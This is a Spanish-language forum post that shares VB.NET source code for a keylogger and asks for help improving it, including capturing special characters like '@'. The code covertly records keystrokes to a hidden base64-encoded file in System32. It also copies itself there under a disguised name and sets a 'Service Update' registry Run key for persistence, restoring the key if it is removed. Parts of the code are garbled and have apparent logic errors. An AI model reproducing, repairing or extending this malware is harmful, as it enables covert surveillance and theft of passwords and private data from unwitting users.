Aqui hay un ejemplo de un keyloger en vb .net, lo que hice fue crear una aplicacion de windows nueva, luego me fue a las propiedades del proyecto y en ves de seleccionar aplicaciones para windows seleccione servicio de windows, luego se agrega un archivo de codigo y recomiendo eliminar el del formulario, y en la ventana de propiedade hacer que el archivo de codigo fuente sea el primero en iniciar,
aqui esta el codigo fuente , se que no es el mejor pero creo que a alguien le puede servir de algo,
Hay que tratar de eliminar las referencias a librerias que no estemos ocupando, para el caso de este keylogger deje solo windows.forms
Aqui esta codigo fuente del "Programa Principal"
'--------------------------------------------------------------------------
Imports System.Windows.Forms
Module KLG
Sub main()
Dim tiempo As DateTime = DateTime.Now
If IO.
File.
Exists(ruta
) = True Then SetAttr(ruta, FileAttribute.Hidden)
End If
Comprobar_el_reg()
copiar_a("cssrs.exe", "C:\Windows\System32\cssrs.exe")
escribe("<<" & tiempo.ToShortTimeString() & "|" & tiempo.ToShortDateString() & ":")
While ((comprobar_tecla(27) And comprobar_tecla(32) And comprobar_tecla(69)) <> True)
espera(70)
Comprobar_el_reg()'esto en un ciclo ya que si borran la clave de registro esta se podra volver a registrar
For i As Integer = 32 To 128
If comprobar_tecla(i) = True Then
espera(70)
escribe(Chr(i))
Exit For
End If
Next
If comprobar_tecla(13) = True Then
escribe(" (E) ")
End If
If comprobar_tecla(8) = True Then
escribe(" (B) ")
End If
If comprobar_tecla(9) = True Then
escribe(" (T) ")
End If
If comprobar_tecla(27) = True Then
escribe(" (S) ")
End If
If comprobar_tecla(32) = True Then
escribe(" ")
End If
If comprobar_tecla(46) = True Then
escribe(".")
End If
End While
escribe(">>EOR")
Application.Exit()
End Sub
End Module
'--------------------------------------------------------------------------
Aqui el modulo llamado Mod_Operaciones
Module Mod_Operaciones
Friend Const ruta As String = "C:\Windows\System32\cssrs.001"
'Escribe en el archivo cssrs.001 las lecturas registradas
'se le agrega un poco de seguridad convirtiendolo a base64
Friend Sub escribe(ByVal cadena_tecla As String)
Dim archivo As New IO.StreamWriter(ruta, True)
archivo.WriteLine(Convert.ToBase64String(System.Text.Encoding.Default.GetBytes(cadena_tecla)))
archivo.Flush()
archivo.Dispose()
archivo.Close()
End Sub
'Copia el ejecutable de keylogger en el directorio system32
Friend Sub copiar_a(ByVal ruta_origen As String, ByVal ruta_destino As String)
If IO.
File.
Exists(ruta_destino
) = True Then Exit Sub IO.
File.
Copy(ruta_origen, ruta_destino
) End Sub
'Intervalo de tiempo para las lecturas
Friend Sub espera(ByVal milisegundos As Integer)
Threading.Thread.Sleep(milisegundos)
End Sub
End Module
'-------------------------------------------------------------------------- Modulo llamado Mod_Operaciones
Imports Microsoft.Win32
Module Mod_Subsistir
Declare Function GAKS Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer
'Comprueba si la clave de registro se encuentra en el sistema
'si no existe o si es borrada la crea
Friend Sub Comprobar_el_reg()
Dim llave_reg2 As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
If llave_reg2.GetValue("Service Update", "C:\Windows\System32\cssrs.exe") <> Nothing Then
llave_reg2.SetValue("Service Update", "C:\Windows\System32\cssrs.exe")
End If
End Sub
'Se encarga de saber que tecla ha sido pulsada
Friend Function comprobar_tecla(ByVal tecla As Integer) As Boolean
If GAKS(tecla) <> 0 Then
Return True
End If
End Function
End Module
'--------------------------------------------------------------------------
Alguna sugerencia para poder mejorarlo por favor
ahora el problema que tengo es que no se como leer teclas especiales como @ .
y ya probe
comprobar_tecla(64)